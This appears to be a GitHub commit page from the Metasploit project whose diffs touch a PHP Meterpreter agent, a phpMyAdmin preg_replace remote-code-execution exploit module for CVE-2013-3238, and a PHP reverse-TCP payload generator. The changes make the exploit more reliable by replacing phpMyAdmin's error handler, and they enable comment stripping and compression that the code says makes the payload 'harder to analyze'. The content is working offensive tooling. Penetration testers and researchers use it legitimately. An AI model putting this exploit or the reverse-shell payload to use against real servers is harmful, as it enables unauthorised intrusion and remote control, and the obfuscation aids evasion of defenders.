Skip to content

Commit a918352

Browse files
committed
Merge pull request #4 from jlee-r7/landing-1772-phpmyadmin
Clear out PMA's error handler
2 parents de5c856 + 9c8b93f commit a918352

File tree

3 files changed

+31
-28
lines changed

3 files changed

+31
-28
lines changed

data/meterpreter/meterpreter.php

Lines changed: 11 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -265,7 +265,7 @@ function core_channel_write($req, &$pkt) {
265265
}
266266

267267
#
268-
# This is called when the client wants to close a channel explicitly. Not to be confused with
268+
# This is called when the client wants to close a channel explicitly. Not to be confused with
269269
#
270270
function core_channel_close($req, &$pkt) {
271271
global $channel_process_map;
@@ -297,7 +297,7 @@ function core_channel_close($req, &$pkt) {
297297
return ERROR_FAILURE;
298298
}
299299

300-
#
300+
#
301301
# Destroy a channel and all associated handles.
302302
#
303303
function channel_close_handles($cid) {
@@ -578,7 +578,7 @@ function handle_dead_resource_channel($resource) {
578578

579579
# Make sure the provided resource gets closed regardless of it's status
580580
# as a channel
581-
remove_reader($resource);
581+
remove_reader($resource);
582582
close($resource);
583583
} else {
584584
my_print("Handling dead resource: {$resource}, for channel: {$cid}");
@@ -822,7 +822,7 @@ function eof($resource) {
822822
#
823823
# See http://us2.php.net/manual/en/function.feof.php , specifically this:
824824
# If a connection opened by fsockopen() wasn't closed by the server,
825-
# feof() will hang. To workaround this, see below example:
825+
# feof() will hang. To workaround this, see below example:
826826
# <?php
827827
# function safe_feof($fp, &$start = NULL) {
828828
# ...
@@ -862,7 +862,7 @@ function read($resource, $len=null) {
862862
#my_print(sprintf("Reading from $resource which is a %s", get_rtype($resource)));
863863
$buff = '';
864864
switch (get_rtype($resource)) {
865-
case 'socket':
865+
case 'socket':
866866
if (array_key_exists((int)$resource, $udp_host_map)) {
867867
my_print("Reading UDP socket");
868868
list($host,$port) = $udp_host_map[(int)$resource];
@@ -915,13 +915,13 @@ function read($resource, $len=null) {
915915
break;
916916
}
917917
}
918-
918+
919919
if ($resource != $msgsock) { my_print("buff: '$buff'"); }
920920
$r = Array($resource);
921921
}
922922
my_print(sprintf("Done with the big read loop on $resource, got %d bytes", strlen($buff)));
923923
break;
924-
default:
924+
default:
925925
# then this is possibly a closed channel resource, see if we have any
926926
# data from previous reads
927927
$cid = get_channel_id_from_resource($resource);
@@ -948,7 +948,7 @@ function write($resource, $buff, $len=0) {
948948
#my_print(sprintf("Writing $len bytes to $resource which is a %s", get_rtype($resource)));
949949
$count = false;
950950
switch (get_rtype($resource)) {
951-
case 'socket':
951+
case 'socket':
952952
if (array_key_exists((int)$resource, $udp_host_map)) {
953953
my_print("Writing UDP socket");
954954
list($host,$port) = $udp_host_map[(int)$resource];
@@ -957,7 +957,7 @@ function write($resource, $buff, $len=0) {
957957
$count = socket_write($resource, $buff, $len);
958958
}
959959
break;
960-
case 'stream':
960+
case 'stream':
961961
$count = fwrite($resource, $buff, $len);
962962
fflush($resource);
963963
break;
@@ -1107,7 +1107,7 @@ function remove_reader($resource) {
11071107
case 'socket':
11081108
register_socket($msgsock);
11091109
break;
1110-
case 'stream':
1110+
case 'stream':
11111111
# fall through
11121112
default:
11131113
register_stream($msgsock);
@@ -1156,7 +1156,7 @@ function remove_reader($resource) {
11561156
if ($request) {
11571157
write($msgsock, $request);
11581158
}
1159-
}
1159+
}
11601160
}
11611161
}
11621162
# $r is modified by select, so reset it

modules/exploits/multi/http/phpmyadmin_preg_replace.rb

Lines changed: 14 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -14,32 +14,35 @@ class Metasploit3 < Msf::Exploit::Remote
1414

1515
def initialize(info = {})
1616
super(update_info(info,
17-
'Name' => 'PhpMyAdmin Authenticated Remote Code Execution via preg_replace()',
18-
'Description' => %q{
17+
'Name' => 'PhpMyAdmin Authenticated Remote Code Execution via preg_replace()',
18+
'Description' => %q{
1919
This module exploits a PREG_REPLACE EVAL vulnerability in PhpMyAdmin's
2020
replace_prefix_tbl in libraries/mult_submits.inc.php via db_settings.php
2121
},
22-
'Author' =>
22+
'Author' =>
2323
[
2424
'Janek "waraxe" Vind', # Discovery
2525
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module
2626
],
27-
'License' => MSF_LICENSE,
28-
'References' =>
27+
'License' => MSF_LICENSE,
28+
'References' =>
2929
[
3030
[ 'CVE', '2013-3238' ],
3131
[ 'PMASA', '2013-2'],
3232
[ 'waraxe', '2013-SA#103' ],
3333
[ 'URL', 'http://www.waraxe.us/advisory-103.html' ],
3434
],
35-
'Privileged' => false,
36-
'Platform' => ['php'],
37-
'Arch' => ARCH_PHP,
38-
'Payload' =>
35+
'Privileged' => false,
36+
'Platform' => ['php'],
37+
'Arch' => ARCH_PHP,
38+
'Payload' =>
3939
{
4040
'BadChars' => "&\n=+%",
41+
# Clear out PMA's error handler so it doesn't lose its mind
42+
# and cause ENOMEM errors and segfaults in the destructor.
43+
'Prepend' => "function foo($a,$b,$c,$d,$e){return true;};set_error_handler(foo);"
4144
},
42-
'Targets' =>
45+
'Targets' =>
4346
[
4447
[ 'Automatic', { } ],
4548
],
@@ -48,7 +51,7 @@ def initialize(info = {})
4851

4952
register_options(
5053
[
51-
OptString.new('URI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
54+
OptString.new('URI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
5255
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
5356
OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
5457
], self.class)
@@ -137,7 +140,6 @@ def exploit
137140
end
138141

139142
db = rand_text_alpha(3+rand(3))
140-
141143
exploit_result = send_request_cgi({
142144
'uri' => uri('db_structure.php'),
143145
'method' => 'POST',

modules/payloads/singles/php/meterpreter_reverse_tcp.rb

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -33,11 +33,12 @@ def generate
3333
f.read(f.stat.size)
3434
}
3535
met.gsub!("127.0.0.1", datastore['LHOST']) if datastore['LHOST']
36-
met.gsub!("4444", datastore['LPORT']) if datastore['LPORT']
37-
# XXX When this payload is more stable, remove comments and compress
38-
# whitespace to make it smaller and a bit harder to analyze
39-
#met.gsub!(/#.*$/, '')
40-
#met = Rex::Text.compress(met)
36+
met.gsub!("4444", datastore['LPORT'].to_s) if datastore['LPORT']
37+
38+
# remove comments and compress whitespace to make it smaller and a
39+
# bit harder to analyze
40+
met.gsub!(/#.*$/, '')
41+
met = Rex::Text.compress(met)
4142
met
4243
end
4344
end

0 commit comments

Comments
 (0)